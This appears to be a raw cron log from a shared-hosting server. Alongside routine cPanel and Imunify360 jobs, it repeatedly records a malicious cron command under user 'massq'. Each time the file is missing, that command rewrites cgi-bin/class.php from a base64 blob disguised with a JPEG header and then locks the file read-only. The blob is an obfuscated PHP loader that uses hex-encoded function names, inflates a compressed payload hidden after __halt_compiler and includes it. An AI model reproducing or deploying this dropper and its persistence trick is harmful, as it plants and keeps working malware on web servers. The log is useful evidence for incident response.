Sep  8 09:28:01 server CROND[24893]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:28:01 server CROND[24894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:28:01 server CROND[24895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:29:01 server CROND[25265]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:29:01 server CROND[25266]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:29:01 server CROND[25267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:30:01 server CROND[25643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:30:01 server CROND[25644]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:30:01 server CROND[25649]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:30:01 server CROND[25651]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:30:01 server CROND[25650]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:30:01 server CROND[25656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:30:01 server CROND[25654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:30:01 server CROND[25657]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:31:01 server CROND[26464]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:31:01 server CROND[26465]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:31:01 server CROND[26466]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:32:01 server CROND[26859]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:32:01 server CROND[26860]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:32:01 server CROND[26861]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:33:01 server CROND[27330]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:33:01 server CROND[27331]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:33:01 server CROND[27332]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:34:01 server CROND[27705]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:34:01 server CROND[27706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:34:01 server CROND[27707]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:35:01 server CROND[28089]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:35:01 server CROND[28090]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:35:01 server CROND[28099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:35:01 server CROND[28101]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:35:01 server CROND[28100]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:35:01 server CROND[28107]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:35:01 server CROND[28108]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:35:01 server CROND[28102]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 09:35:01 server CROND[28109]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:36:01 server CROND[28966]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:36:01 server CROND[28967]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:36:01 server CROND[28968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:37:01 server CROND[29333]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:37:01 server CROND[29334]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:37:01 server CROND[29335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:38:01 server CROND[29804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:38:01 server CROND[29805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:38:01 server CROND[29803]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:39:01 server CROND[30173]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 09:39:01 server CROND[30174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:39:01 server CROND[30175]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:39:01 server CROND[30176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:40:01 server CROND[30562]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:40:01 server CROND[30563]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:40:01 server CROND[30564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
